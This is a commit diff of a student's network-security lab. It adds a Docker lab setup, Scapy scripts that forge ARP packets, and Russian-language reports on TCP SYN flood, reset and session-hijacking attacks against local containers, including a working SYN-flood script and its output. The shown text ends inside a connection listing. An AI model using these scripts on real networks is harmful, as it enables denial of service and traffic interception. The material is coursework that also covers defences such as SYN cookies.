marker/sf
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

refactored. 01-02-03 done

Browse Source
This commit is contained in:
Marat Kharitonov
2024-03-26 19:36:57 -04:00
parent 37b5fd1f40
commit 40899bcd4b
152 changed files with 647 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

43
02-pentest/01-network/01-tcpip/01-arp/docker-compose.yaml Normal file
View File

@@ -0,0 +1,43 @@
version: "3"
networks:
net-1:
name: net-1
ipam:
config:
- subnet: 10.3.0.0/24
services:
HostA:
image: sb27/sf-lab1:latest
container_name: HostA
# tty: true
cap_add:
- ALL
networks:
net-1:
ipv4_address: 10.3.0.2
HostB:
image: sb27/sf-lab1:latest
container_name: HostB
# tty: true
cap_add:
- ALL
networks:
net-1:
ipv4_address: 10.3.0.3
HostM:
image: sb27/sf-lab1:latest
container_name: HostM
# tty: true
cap_add:
- ALL
privileged: true
volumes:
- ./volume:/volume
networks:
net-1:
ipv4_address: 10.3.0.37

17
02-pentest/01-network/01-tcpip/01-arp/volume/opt1.py Normal file
View File

@@ -0,0 +1,17 @@
#!/usr/bin/python3
from scapy.all import *
A_ip = "10.3.0.2"
A_mac = "02:42:0a:03:00:02"
B_ip = "10.3.0.3"
B_mac = "02:42:0a:03:00:03"
M_ip = "10.3.0.37"
M_mac = "02:42:0a:03:00:25"
eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff')
arp = ARP(hwsrc=M_mac, psrc=B_ip,
hwdst=A_mac, pdst=A_ip,
op=1)
pkt = eth / arp
sendp(pkt)

17
02-pentest/01-network/01-tcpip/01-arp/volume/opt2.py Normal file
View File

@@ -0,0 +1,17 @@
#!/usr/bin/python3
from scapy.all import *
A_ip = "10.3.0.2"
A_mac = "02:42:0a:03:00:02"
B_ip = "10.3.0.3"
B_mac = "02:42:0a:03:00:03"
M_ip = "10.3.0.37"
M_mac = "02:42:0a:03:00:25"
eth = Ether(src=M_mac,dst=A_mac)
arp = ARP(hwsrc=M_mac, psrc=B_ip,
hwdst=A_mac, pdst=A_ip,
op=2)
pkt = eth / arp
sendp(pkt)

17
02-pentest/01-network/01-tcpip/01-arp/volume/opt3.py Normal file
View File

@@ -0,0 +1,17 @@
#!/usr/bin/python3
from scapy.all import *
A_ip = "10.3.0.2"
A_mac = "02:42:0a:03:00:02"
B_ip = "10.3.0.3"
B_mac = "02:42:0a:03:00:03"
M_ip = "10.3.0.37"
M_mac = "02:42:0a:03:00:25"
eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff')
arp = ARP(hwsrc=M_mac, psrc=B_ip,
hwdst='ff:ff:ff:ff:ff:ff', pdst=B_ip,
op=1)
pkt = eth / arp
sendp(pkt)

193
02-pentest/01-network/01-tcpip/02-tcp/GOVNO.md Normal file
View File

@@ -0,0 +1,193 @@
# Домашняя работа № 2 по предмету: «Безопасность вычислительных сетей»
## Описание лабораторной работы
Цель лабораторной работы — получить непосредственный опыт работы с уязвимостями, а также с атаками на эти уязвимости.
В этой лабораторной работе вы проведете несколько атак на TCP:
1. TCP SYN flood attack, and SYN cookies;
2. TCP reset attack;
3. TCP session hijacking attack.
В лабораторной работе четыре контейнера: три машины легитимных пользователей и одна машина атакующего.
![Lab Stand](img/image01.png)
## Задача 1 «TCP SYN flood attack».
`
Код отправляет поддельные пакеты TCP SYN со случайно сгенерированным исходным IP-адресом, исходным портом и порядковым номером.
Подождите хотя бы одну минуту, а затем попытайтесь подключиться к жертве с помощью Telnet. Получится ли у вас добиться успеха? Подключиться можно через хост машины Victim (все дальнейшие проверки следует проводить через нее).
`
Python-скрипт для атаки:
![alt text](img/opt1.png)
### Задача 1.1
`net.ipv4.tcp_syncookies=0` - SYN Cookies на жертве (Victim) отключены.
#### Выполнение задачи:
1. Запустим скрипт на `seed-attacker` и посмотрим наличие подключений на `Victim`.
Листинг `seed-attacker`:
![seed-attacker](img/image02.png)
Листинг `Victim`:
![](img/image03.png)
2. Проверим возможность подключения к `Victim` с `HostB`
![](img/image04.png)
В данном случае, мы видим успешный вывод приглашения. Можно предположить, что атака не удалась, но зная, что возможности очереди машины зависят от её характеристик, не будет лишним попробовать запустить сразу несколько экземпляров скрипта на `seed-attacker` добавив операнд `&` к команде запуска:
`root@7552dc4712a7:/# ./volume/opt1.py &`
3. Запустим 15 экземпляров скрипта одновременно и проверим возможность подключения:
![alt text](img/image05.png)
4. Подключение выполняется, но с большими задержками (от 10 до 30 секунд), что является показателем успешной атаки. Атаку можно считать успешной.
#### Итог задачи 1.1
Атака при `net.ipv4.tcp_syncookies=0` производится **успешно**!
### Задача 1.2
`net.ipv4.tcp_syncookies=1` - SYN Cookies на жертве (Victim) включены.
Время провести попытку с включенным механизмом syncookies. Для этого пересоздадим контейнеры установив значение строки `net.ipv4.tcp_syncookies=1` в docker-compose.yaml
![alt text](img/image06.png)
#### Выполнение задачи
1. Перезапустим скрипты, воспроизводящие атаку и проверим наличие подключений на `Victim`.
seeder-attacker:
![alt text](img/image07.png)
Victim:
![alt text](img/image08.png)
2. Подключения на месте. Проверим возможность подключения по Telnet.
![alt text](img/image09.png)
Проведя несколько попыток подключения и мгновенно увидев баннер Telnet можем сделать вывод, что в этот раз атака не удалась.
#### Итог задачи 1.1
Атака при `net.ipv4.tcp_syncookies=1` производится **неудачно**.
### Итог задачи 1.
Механизм TCP SYN cookies позволяет серверу генерировать специальные сокращенные версии TCP-заголовков (cookies) в ответ на входящие запросы SYN, сохраняя минимум информации о соединении. Когда сервер получает подтверждение от клиента (ACK-пакет), он может восстановить полную информацию о соединении из сокращенной версии TCP-заголовка, инициированной в SYN-пакете.
Этот механизм позволяет серверу обрабатывать и отвечать на большое количество входящих соединений даже в условиях атаки SYN flood, так как он не хранит информацию о незавершенных соединениях в памяти, а использует специальные cookie для отслеживания состояния соединения.
TCP SYN cookies - это один из методов защиты от атак на уровне TCP, который повышает устойчивость серверов к подобным атакам и обеспечивает непрерывность работы сетевых служб.
## Задача 2. TCP reset attack
1. Для выполнения атаки нам необходимо получить вводные данные. Для этого в момент подключения с `HostB` к `Victim` будем слушать трафик между ними с помощью `tcpdump`
Выполняем подключение с `HostB` к `Victim`
![alt text](img/image10.png)
"Слушаем" трафик с помощью `tcpdump`
![alt text](img/image11.png)
В логах трафика нам необходимо получить данные для наполнения скрипта -- `src`, `dst`, `sport`, `dport` и `seq`.
| **Параметр** | **Значение** | **Примечание** |
| --- | --- | --- |
| src | 10.3.0.3 | IP-адрес `HostB` |
| dst | 10.3.0.4 | IP-адрес `Victim` |
| sport | 40060 | Номер порта, с которого `HostB` устанавливает подключение |
| dport | 23 | Номер порта telnet на `Victim` |
| seq | 1838235189 | Номер следующей последовательности, который ожидает `Victim` от `HostB` |
2. Подставим полученные данные в скрипт `opt2.py` для проведения атаки.
![alt text](img/image12.png)
3. Выполним атакующий скрипт
![alt text](img/image13.png)
4. Убедимся в наличии RST-пакета в `tcpdump`
![alt text](img/image14.png)
5. Проверим состояние соединения путём нажатия Enter в подключении `telnet`
![alt text](img/image15.png)
Согласно выводу, соединение было закрыто, атаку можно считать **успешной**.
### Итог задачи 2.
TCP RST (Reset) атака - это форма атаки на уровне TCP, которая может быть использована для нарушения установленных TCP-соединений между клиентом и сервером.
Принцип работы атаки заключается в отправке поддельных RST-пакетов (пакетов сброса соединения) от имени одной из сторон (обычно от сервера) для преждевременного завершения установленного TCP-соединения. Это может привести к разрыву соединения и прекращению обмена данными между клиентом и сервером.
Несмотря на вышеописанное, подготовка к такой атаке является довольно сложной на практике, ведь злоумышленник должен иметь доступ к трафику внутри сети для правильного составления атакующего пакета.
## Задача 3. TCP Session Hijacking attack
1. Аналогично заданию 2 установим Тelnet-сессию между узлами `HostB` и `Victim` и соберем исходные данные. Скелет кода похож на тот, который указан в задании 2, отличается лишь сегментом TCP и необходимостью добавления блока данных.
Основываясь на данных из `tcpdump` заполним нашу таблицу:
![alt text](img/image16.png)
Таблица:
| **Параметр** | **Значение** | **Примечание** |
| --- | --- | --- |
| src | 10.3.0.3 | IP-адрес `HostB` |
| dst | 10.3.0.4 | IP-адрес `Victim` |
| sport | 54402 | Номер порта, с которого `HostB` устанавливает подключение |
| dport | 23 | Номер порта telnet на `Victim` |
| seq | 4125627535 | Номер следующей последовательности, который ожидает `Victim` от `HostB` |
| ack | 2474120203 | |
2. Заполняем скрипт полученными данными
![alt text](img/image17.png)
3. Выполним атакующий скрипт
![alt text](img/image18.png)
4. Убедимся в наличии пакетов в tcpdump.
![alt text](img/image19.png)
5. Проверив состояние нашего соединения между хостами `HostB` и `Victim` обнаруживаем, что соединение зависло и не реагирует на команды. Но как обстоят дела с папкой `1337` на хосте `Victim`?
![alt text](img/image20.png)
Видим свежесозданную папку с именем `1337`, сигнализирующую о том, что атака прошла **успешно**!
### Итог задачи 3.
TCP Session Hijacking (взятие сессии) - это форма атаки на уровне TCP, направленная на захват установленной сессии между клиентом и сервером с целью несанкционированного доступа к данным или выполнения действий от имени атакуемого пользователя.
Принцип работы атаки заключается во вмешательстве в установленное TCP-соединение между клиентом и сервером путем введения поддельных TCP-пакетов или захвата существующих пакетов для манипуляции сессией. Атакующий может попытаться взять контроль над сессией, изменить данные, выполнить команды от имени пользователя или даже завершить сессию.
В целом атака очень похожа на TCP RST-атаку по необходимым вводным данным.
Для защиты от подобных атак могут применяться различные меры, такие как:
- Использование шифрования и цифровой подписи для защиты конфиденциальности и целостности данных во время передачи. (Например, использование SSHv2 вместо Telnet)
- Мониторинг сетевого трафика с целью обнаружения подозрительной активности или аномалий. (Сетевые снифферы с IDS, например PT Network Attack Discovery или Kaspersky Anti-Targetted Attack)
- Настройка сетевой защиты, включая файерволы, средства обнаружения вторжений и фильтрацию пакетов.
# Итог лабораторной работы
На этом лабораторная работа окончена, файл отчет в формате pdf во вложении.
Выполнил: Харитонов Марат Русланович, студенческий билет №М235314.

658
02-pentest/01-network/01-tcpip/02-tcp/README.md Normal file
View File

@@ -0,0 +1,658 @@
# Домашняя работа № 2 по предмету: «Безопасность вычислительных сетей»
## Описание лабораторной работы
Цель лабораторной работы — получить непосредственный опыт работы с уязвимостями, а также с атаками на эти уязвимости.
В этой лабораторной работе вы проведете несколько атак на TCP:
1. TCP SYN flood attack, and SYN cookies;
2. TCP reset attack;
3. TCP session hijacking attack.
В лабораторной работе четыре контейнера: три машины легитимных пользователей и одна машина атакующего.
![Lab Stand](img/image01.png)
## Задача 1 «TCP SYN flood attack».
`
Код отправляет поддельные пакеты TCP SYN со случайно сгенерированным исходным IP-адресом, исходным портом и порядковым номером.
Подождите хотя бы одну минуту, а затем попытайтесь подключиться к жертве с помощью Telnet. Получится ли у вас добиться успеха? Подключиться можно через хост машины Victim (все дальнейшие проверки следует проводить через нее).
`
Python-скрипт для атаки:
```python
#!/usr/bin/python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.3.0.4")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32)))
pkt[TCP].sport = getrandbits(16)
pkt[TCP].seq = getrandbits(32)
send(pkt, iface = 'eth0', verbose = 0)
```
### Задача 1.1
`net.ipv4.tcp_syncookies=0` - SYN Cookies на жертве (Victim) отключены.
#### Выполнение задачи:
1. Запустим скрипт на `seed-attacker` и посмотрим наличие подключений на `Victim`.
Листинг `seed-attacker`:
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it seed-attacker /bin/bash
root@7552dc4712a7:/# ./volume/opt1.py
```
Листинг `Victim`:
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it Victim /bin/bash
root@c1ce515eff6f:/# ss -t4a
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.11:36247 0.0.0.0:*
LISTEN 0 128 0.0.0.0:telnet 0.0.0.0:*
SYN-RECV 0 0 10.3.0.4:telnet 158.3.195.40:63498
SYN-RECV 0 0 10.3.0.4:telnet 68.112.126.190:38173
SYN-RECV 0 0 10.3.0.4:telnet 35.165.229.103:19782
SYN-RECV 0 0 10.3.0.4:telnet 223.152.125.135:15332
SYN-RECV 0 0 10.3.0.4:telnet 61.203.9.143:15695
SYN-RECV 0 0 10.3.0.4:telnet 255.206.99.32:60814
SYN-RECV 0 0 10.3.0.4:telnet 170.124.119.247:26556
SYN-RECV 0 0 10.3.0.4:telnet 52.3.217.249:9740
SYN-RECV 0 0 10.3.0.4:telnet 164.232.55.253:12359
SYN-RECV 0 0 10.3.0.4:telnet 241.193.45.30:30514
SYN-RECV 0 0 10.3.0.4:telnet 142.136.178.68:48908
SYN-RECV 0 0 10.3.0.4:telnet 169.127.7.200:28752
SYN-RECV 0 0 10.3.0.4:telnet 164.46.133.1:51723
SYN-RECV 0 0 10.3.0.4:telnet 30.31.252.194:25101
SYN-RECV 0 0 10.3.0.4:telnet 128.80.132.146:47391
SYN-RECV 0 0 10.3.0.4:telnet 212.103.101.22:46695
SYN-RECV 0 0 10.3.0.4:telnet 168.126.69.223:2779
SYN-RECV 0 0 10.3.0.4:telnet 106.227.225.114:40267
SYN-RECV 0 0 10.3.0.4:telnet 205.30.153.72:63313
SYN-RECV 0 0 10.3.0.4:telnet 182.37.132.171:9133
SYN-RECV 0 0 10.3.0.4:telnet 193.129.141.24:27999
SYN-RECV 0 0 10.3.0.4:telnet 105.70.138.201:52946
SYN-RECV 0 0 10.3.0.4:telnet 85.161.8.71:23835
SYN-RECV 0 0 10.3.0.4:telnet 172.101.184.243:63721
SYN-RECV 0 0 10.3.0.4:telnet 113.162.77.216:42567
SYN-RECV 0 0 10.3.0.4:telnet 124.15.77.255:47959
SYN-RECV 0 0 10.3.0.4:telnet 71.74.115.95:61061
SYN-RECV 0 0 10.3.0.4:telnet 244.169.200.1:28506
SYN-RECV 0 0 10.3.0.4:telnet 43.185.198.71:10477
SYN-RECV 0 0 10.3.0.4:telnet 6.153.18.179:64006
SYN-RECV 0 0 10.3.0.4:telnet 91.3.85.152:38253
SYN-RECV 0 0 10.3.0.4:telnet 12.174.198.73:15419
SYN-RECV 0 0 10.3.0.4:telnet 32.79.155.173:33205
SYN-RECV 0 0 10.3.0.4:telnet 206.9.216.119:25906
SYN-RECV 0 0 10.3.0.4:telnet 174.214.52.195:53607
SYN-RECV 0 0 10.3.0.4:telnet 162.128.57.123:19642
SYN-RECV 0 0 10.3.0.4:telnet 85.47.254.100:57247
SYN-RECV 0 0 10.3.0.4:telnet 110.163.192.5:25076
SYN-RECV 0 0 10.3.0.4:telnet 158.21.174.242:50213
SYN-RECV 0 0 10.3.0.4:telnet 28.127.92.138:23754
SYN-RECV 0 0 10.3.0.4:telnet 128.14.169.102:17831
SYN-RECV 0 0 10.3.0.4:telnet 182.54.130.73:33873
SYN-RECV 0 0 10.3.0.4:telnet 140.248.111.171:957
SYN-RECV 0 0 10.3.0.4:telnet 28.155.173.107:475
SYN-RECV 0 0 10.3.0.4:telnet 170.77.97.244:26726
SYN-RECV 0 0 10.3.0.4:telnet 190.143.212.253:132
SYN-RECV 0 0 10.3.0.4:telnet 155.227.189.26:40335
SYN-RECV 0 0 10.3.0.4:telnet 72.225.114.86:38447
SYN-RECV 0 0 10.3.0.4:telnet 60.96.3.80:27168
SYN-RECV 0 0 10.3.0.4:telnet 142.187.166.211:33573
SYN-RECV 0 0 10.3.0.4:telnet 65.12.78.96:26432
SYN-RECV 0 0 10.3.0.4:telnet 118.217.175.101:58536
SYN-RECV 0 0 10.3.0.4:telnet 34.60.246.132:38453
SYN-RECV 0 0 10.3.0.4:telnet 43.227.33.66:19153
SYN-RECV 0 0 10.3.0.4:telnet 222.220.229.204:12038
SYN-RECV 0 0 10.3.0.4:telnet 149.39.221.94:41871
SYN-RECV 0 0 10.3.0.4:telnet 35.153.15.193:23372
SYN-RECV 0 0 10.3.0.4:telnet 144.41.43.28:6615
SYN-RECV 0 0 10.3.0.4:telnet 90.199.83.251:42295
SYN-RECV 0 0 10.3.0.4:telnet 74.115.119.245:36185
SYN-RECV 0 0 10.3.0.4:telnet 222.179.99.248:7329
SYN-RECV 0 0 10.3.0.4:telnet 188.221.77.103:59499
SYN-RECV 0 0 10.3.0.4:telnet 120.30.189.201:42384
SYN-RECV 0 0 10.3.0.4:telnet 116.109.255.44:63489
SYN-RECV 0 0 10.3.0.4:telnet 184.48.224.156:25463
SYN-RECV 0 0 10.3.0.4:telnet 101.9.97.29:6589
SYN-RECV 0 0 10.3.0.4:telnet 88.124.93.154:10414
SYN-RECV 0 0 10.3.0.4:telnet 57.169.50.152:38671
SYN-RECV 0 0 10.3.0.4:telnet 9.182.150.232:65338
SYN-RECV 0 0 10.3.0.4:telnet 41.10.253.44:46509
SYN-RECV 0 0 10.3.0.4:telnet 162.133.50.166:36175
SYN-RECV 0 0 10.3.0.4:telnet 59.238.207.201:5967
SYN-RECV 0 0 10.3.0.4:telnet 11.111.229.68:57707
SYN-RECV 0 0 10.3.0.4:telnet 244.194.124.160:40218
SYN-RECV 0 0 10.3.0.4:telnet 83.29.237.183:3989
SYN-RECV 0 0 10.3.0.4:telnet 101.64.206.92:51178
SYN-RECV 0 0 10.3.0.4:telnet 177.23.166.58:12932
SYN-RECV 0 0 10.3.0.4:telnet 89.15.11.238:13961
SYN-RECV 0 0 10.3.0.4:telnet 212.64.194.218:21478
SYN-RECV 0 0 10.3.0.4:telnet 163.218.76.207:26101
SYN-RECV 0 0 10.3.0.4:telnet 188.132.173.32:31742
SYN-RECV 0 0 10.3.0.4:telnet 4.63.123.81:47630
SYN-RECV 0 0 10.3.0.4:telnet 113.116.81.171:5453
SYN-RECV 0 0 10.3.0.4:telnet 255.72.111.137:52032
SYN-RECV 0 0 10.3.0.4:telnet 36.198.2.211:65472
SYN-RECV 0 0 10.3.0.4:telnet 247.162.128.86:11958
SYN-RECV 0 0 10.3.0.4:telnet 62.75.93.58:9085
SYN-RECV 0 0 10.3.0.4:telnet 105.192.66.155:18524
SYN-RECV 0 0 10.3.0.4:telnet 83.205.134.50:18579
SYN-RECV 0 0 10.3.0.4:telnet 100.75.229.233:40304
SYN-RECV 0 0 10.3.0.4:telnet 249.109.36.201:36192
SYN-RECV 0 0 10.3.0.4:telnet 206.180.21.66:59312
SYN-RECV 0 0 10.3.0.4:telnet 10.128.83.150:17815
SYN-RECV 0 0 10.3.0.4:telnet 145.34.175.51:4006
SYN-RECV 0 0 10.3.0.4:telnet 153.240.241.137:33534
SYN-RECV 0 0 10.3.0.4:telnet 108.254.65.200:37901
SYN-RECV 0 0 10.3.0.4:telnet 221.225.89.253:36264
SYN-RECV 0 0 10.3.0.4:telnet 118.232.151.247:8717
SYN-RECV 0 0 10.3.0.4:telnet 201.41.203.96:56927
SYN-RECV 0 0 10.3.0.4:telnet 67.142.179.214:37394
SYN-RECV 0 0 10.3.0.4:telnet 208.107.192.91:36944
SYN-RECV 0 0 10.3.0.4:telnet 211.227.162.197:3944
SYN-RECV 0 0 10.3.0.4:telnet 188.223.177.201:40671
SYN-RECV 0 0 10.3.0.4:telnet 78.135.247.222:17643
SYN-RECV 0 0 10.3.0.4:telnet 108.83.96.3:2852
SYN-RECV 0 0 10.3.0.4:telnet 142.213.104.206:29514
SYN-RECV 0 0 10.3.0.4:telnet 160.145.50.39:50538
SYN-RECV 0 0 10.3.0.4:telnet 161.152.196.165:4955
SYN-RECV 0 0 10.3.0.4:telnet 241.166.228.192:60093
SYN-RECV 0 0 10.3.0.4:telnet 80.6.1.157:43426
SYN-RECV 0 0 10.3.0.4:telnet 240.101.37.241:58135
SYN-RECV 0 0 10.3.0.4:telnet 16.76.239.128:21463
SYN-RECV 0 0 10.3.0.4:telnet 193.32.104.199:19927
SYN-RECV 0 0 10.3.0.4:telnet 45.41.161.117:9061
SYN-RECV 0 0 10.3.0.4:telnet 141.6.97.30:49660
SYN-RECV 0 0 10.3.0.4:telnet 132.232.6.19:2651
SYN-RECV 0 0 10.3.0.4:telnet 105.60.200.215:21117
SYN-RECV 0 0 10.3.0.4:telnet 47.151.76.132:38787
SYN-RECV 0 0 10.3.0.4:telnet 243.62.126.231:28478
SYN-RECV 0 0 10.3.0.4:telnet 118.246.71.121:31682
SYN-RECV 0 0 10.3.0.4:telnet 194.220.80.110:29664
SYN-RECV 0 0 10.3.0.4:telnet 66.253.232.91:32490
SYN-RECV 0 0 10.3.0.4:telnet 61.229.49.119:49516
SYN-RECV 0 0 10.3.0.4:telnet 120.235.163.180:50010
SYN-RECV 0 0 10.3.0.4:telnet 89.60.103.203:54792
SYN-RECV 0 0 10.3.0.4:telnet 32.207.129.235:912
SYN-RECV 0 0 10.3.0.4:telnet 39.5.255.223:59359
SYN-RECV 0 0 10.3.0.4:telnet 104.113.33.147:63898
```
2. Проверим возможность подключения к `Victim` с `HostB`
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
c1ce515eff6f login:
```
В данном случае, мы видим успешный вывод приглашения. Можно предположить, что атака не удалась, но зная, что возможности очереди машины зависят от её характеристик, не будет лишним попробовать запустить сразу несколько экземпляров скрипта на `seed-attacker` добавив операнд `&` к команде запуска:
`root@7552dc4712a7:/# ./volume/opt1.py &`
3. Запустим 15 экземпляров скрипта одновременно и проверим возможность подключения:
```bash
root@7552dc4712a7:/# ./volume/opt1.py &
[1] 40
root@7552dc4712a7:/# ./volume/opt1.py &
[2] 44
root@7552dc4712a7:/# ./volume/opt1.py &
[3] 48
root@7552dc4712a7:/# ./volume/opt1.py &
[4] 52
root@7552dc4712a7:/# ./volume/opt1.py &
[5] 56
root@7552dc4712a7:/# ./volume/opt1.py &
[6] 60
root@7552dc4712a7:/# ./volume/opt1.py &
[7] 64
root@7552dc4712a7:/# ./volume/opt1.py &
[8] 68
root@7552dc4712a7:/# ./volume/opt1.py &
[9] 72
root@7552dc4712a7:/# ./volume/opt1.py &
[10] 76
root@7552dc4712a7:/# ./volume/opt1.py &
[11] 80
root@7552dc4712a7:/# ./volume/opt1.py &
[12] 84
root@7552dc4712a7:/# ./volume/opt1.py &
[13] 88
root@7552dc4712a7:/# ./volume/opt1.py &
[14] 92
root@7552dc4712a7:/# ./volume/opt1.py &
[15] 96
```
4. Подключение выполняется, но с большими задержками (от 10 до 30 секунд). Атаку можно считать успешной.
#### Итог задачи 1.1
Атака при `net.ipv4.tcp_syncookies=0` производится **успешно**!
### Задача 1.2
`net.ipv4.tcp_syncookies=1` - SYN Cookies на жертве (Victim) включены.
Время провести попытку с включенным механизмом syncookies. Для этого пересоздадим контейнер `Victim` установив значение строки `net.ipv4.tcp_syncookies=1` в docker-compose.yaml
```bash
┌──(marker㉿kali)-[~/…/pentest/01-network/01-tcpip/02-tcp]
└─$ docker-compose up -d
HostB is up-to-date
HostA is up-to-date
seed-attacker is up-to-date
Recreating Victim ... done
```
#### Выполнение задачи
1. Так как мы пересоздали только контейнер `Victim` необходимости перезапускать скрипты нет, можно убедиться только в наличии подключений на `Victim`
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it Victim ss -t4a
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.11:40647 0.0.0.0:*
LISTEN 0 128 0.0.0.0:telnet 0.0.0.0:*
SYN-RECV 0 0 10.3.0.4:telnet 108.27.226.102:5104
SYN-RECV 0 0 10.3.0.4:telnet 73.160.236.206:6860
SYN-RECV 0 0 10.3.0.4:telnet 1.25.214.186:57581
SYN-RECV 0 0 10.3.0.4:telnet 195.108.61.207:19857
SYN-RECV 0 0 10.3.0.4:telnet 58.175.239.163:46032
SYN-RECV 0 0 10.3.0.4:telnet 65.125.87.11:39861
SYN-RECV 0 0 10.3.0.4:telnet 66.48.143.8:54418
SYN-RECV 0 0 10.3.0.4:telnet 103.157.54.82:63169
SYN-RECV 0 0 10.3.0.4:telnet 21.208.194.188:23330
SYN-RECV 0 0 10.3.0.4:telnet 168.107.191.96:38867
SYN-RECV 0 0 10.3.0.4:telnet 138.53.84.222:9522
SYN-RECV 0 0 10.3.0.4:telnet 23.239.108.253:57752
SYN-RECV 0 0 10.3.0.4:telnet 207.255.101.226:42752
SYN-RECV 0 0 10.3.0.4:telnet 31.98.248.252:54624
SYN-RECV 0 0 10.3.0.4:telnet 153.149.254.217:57045
SYN-RECV 0 0 10.3.0.4:telnet 110.90.139.107:45601
SYN-RECV 0 0 10.3.0.4:telnet 63.215.107.84:61401
SYN-RECV 0 0 10.3.0.4:telnet 30.192.12.91:48795
SYN-RECV 0 0 10.3.0.4:telnet 160.28.246.103:36530
SYN-RECV 0 0 10.3.0.4:telnet 173.14.71.55:22736
SYN-RECV 0 0 10.3.0.4:telnet 2.147.136.249:60366
SYN-RECV 0 0 10.3.0.4:telnet 128.143.50.25:31526
SYN-RECV 0 0 10.3.0.4:telnet 18.245.103.194:58594
SYN-RECV 0 0 10.3.0.4:telnet 199.55.89.215:12389
SYN-RECV 0 0 10.3.0.4:telnet 75.87.156.253:2150
SYN-RECV 0 0 10.3.0.4:telnet 36.125.204.38:40431
SYN-RECV 0 0 10.3.0.4:telnet 29.174.150.228:3279
SYN-RECV 0 0 10.3.0.4:telnet 103.182.14.81:8287
SYN-RECV 0 0 10.3.0.4:telnet 7.195.187.110:42890
SYN-RECV 0 0 10.3.0.4:telnet 48.112.154.154:27219
SYN-RECV 0 0 10.3.0.4:telnet 24.19.187.21:43326
SYN-RECV 0 0 10.3.0.4:telnet 21.175.158.40:28366
SYN-RECV 0 0 10.3.0.4:telnet 164.210.118.69:60534
SYN-RECV 0 0 10.3.0.4:telnet 34.42.220.155:58476
SYN-RECV 0 0 10.3.0.4:telnet 213.180.124.2:49861
SYN-RECV 0 0 10.3.0.4:telnet 103.11.249.237:56808
SYN-RECV 0 0 10.3.0.4:telnet 120.247.60.217:4743
SYN-RECV 0 0 10.3.0.4:telnet 218.226.80.53:34253
SYN-RECV 0 0 10.3.0.4:telnet 42.145.114.221:49653
SYN-RECV 0 0 10.3.0.4:telnet 7.240.255.81:27771
SYN-RECV 0 0 10.3.0.4:telnet 143.58.200.245:33149
SYN-RECV 0 0 10.3.0.4:telnet 69.34.181.160:5278
SYN-RECV 0 0 10.3.0.4:telnet 213.61.103.79:44805
SYN-RECV 0 0 10.3.0.4:telnet 158.80.85.163:17839
SYN-RECV 0 0 10.3.0.4:telnet 166.43.252.1:35071
SYN-RECV 0 0 10.3.0.4:telnet 108.96.192.139:9072
SYN-RECV 0 0 10.3.0.4:telnet 5.21.112.104:21394
SYN-RECV 0 0 10.3.0.4:telnet 162.25.70.105:60609
SYN-RECV 0 0 10.3.0.4:telnet 80.161.149.89:23925
SYN-RECV 0 0 10.3.0.4:telnet 141.38.182.231:3744
SYN-RECV 0 0 10.3.0.4:telnet 95.234.149.125:251
SYN-RECV 0 0 10.3.0.4:telnet 217.225.241.180:59771
SYN-RECV 0 0 10.3.0.4:telnet 146.229.210.242:43953
SYN-RECV 0 0 10.3.0.4:telnet 154.195.122.28:18065
SYN-RECV 0 0 10.3.0.4:telnet 181.238.166.233:11863
SYN-RECV 0 0 10.3.0.4:telnet 167.90.141.48:25317
SYN-RECV 0 0 10.3.0.4:telnet 39.193.36.206:14815
SYN-RECV 0 0 10.3.0.4:telnet 44.45.173.240:6168
SYN-RECV 0 0 10.3.0.4:telnet 111.145.48.231:22391
SYN-RECV 0 0 10.3.0.4:telnet 92.7.156.199:24283
SYN-RECV 0 0 10.3.0.4:telnet 109.88.74.126:41634
SYN-RECV 0 0 10.3.0.4:telnet 88.83.198.125:13924
SYN-RECV 0 0 10.3.0.4:telnet 216.128.126.5:56934
SYN-RECV 0 0 10.3.0.4:telnet 173.71.112.248:3183
SYN-RECV 0 0 10.3.0.4:telnet 151.101.172.76:11086
SYN-RECV 0 0 10.3.0.4:telnet 42.189.187.110:42000
SYN-RECV 0 0 10.3.0.4:telnet 72.85.104.196:8777
SYN-RECV 0 0 10.3.0.4:telnet 115.140.156.34:12861
SYN-RECV 0 0 10.3.0.4:telnet 94.138.192.212:47483
SYN-RECV 0 0 10.3.0.4:telnet 137.246.29.219:28520
SYN-RECV 0 0 10.3.0.4:telnet 246.25.91.6:18763
SYN-RECV 0 0 10.3.0.4:telnet 126.160.117.95:36546
SYN-RECV 0 0 10.3.0.4:telnet 90.97.71.218:55907
SYN-RECV 0 0 10.3.0.4:telnet 59.158.190.243:41916
SYN-RECV 0 0 10.3.0.4:telnet 99.36.72.222:20953
SYN-RECV 0 0 10.3.0.4:telnet 41.251.20.154:24466
SYN-RECV 0 0 10.3.0.4:telnet 3.3.15.105:39580
SYN-RECV 0 0 10.3.0.4:telnet 155.19.51.115:31768
SYN-RECV 0 0 10.3.0.4:telnet 201.32.112.228:37389
SYN-RECV 0 0 10.3.0.4:telnet 109.168.237.66:7420
SYN-RECV 0 0 10.3.0.4:telnet 153.89.8.208:50018
SYN-RECV 0 0 10.3.0.4:telnet 83.235.84.0:20745
SYN-RECV 0 0 10.3.0.4:telnet 72.39.57.159:13316
SYN-RECV 0 0 10.3.0.4:telnet 200.117.234.28:28479
SYN-RECV 0 0 10.3.0.4:telnet 59.49.246.45:60117
SYN-RECV 0 0 10.3.0.4:telnet 208.51.26.83:28652
SYN-RECV 0 0 10.3.0.4:telnet 5.84.41.41:23684
SYN-RECV 0 0 10.3.0.4:telnet 240.98.74.178:30076
SYN-RECV 0 0 10.3.0.4:telnet 192.205.144.26:55242
SYN-RECV 0 0 10.3.0.4:telnet 218.56.164.34:30890
SYN-RECV 0 0 10.3.0.4:telnet 18.73.28.181:1097
SYN-RECV 0 0 10.3.0.4:telnet 8.32.26.66:58232
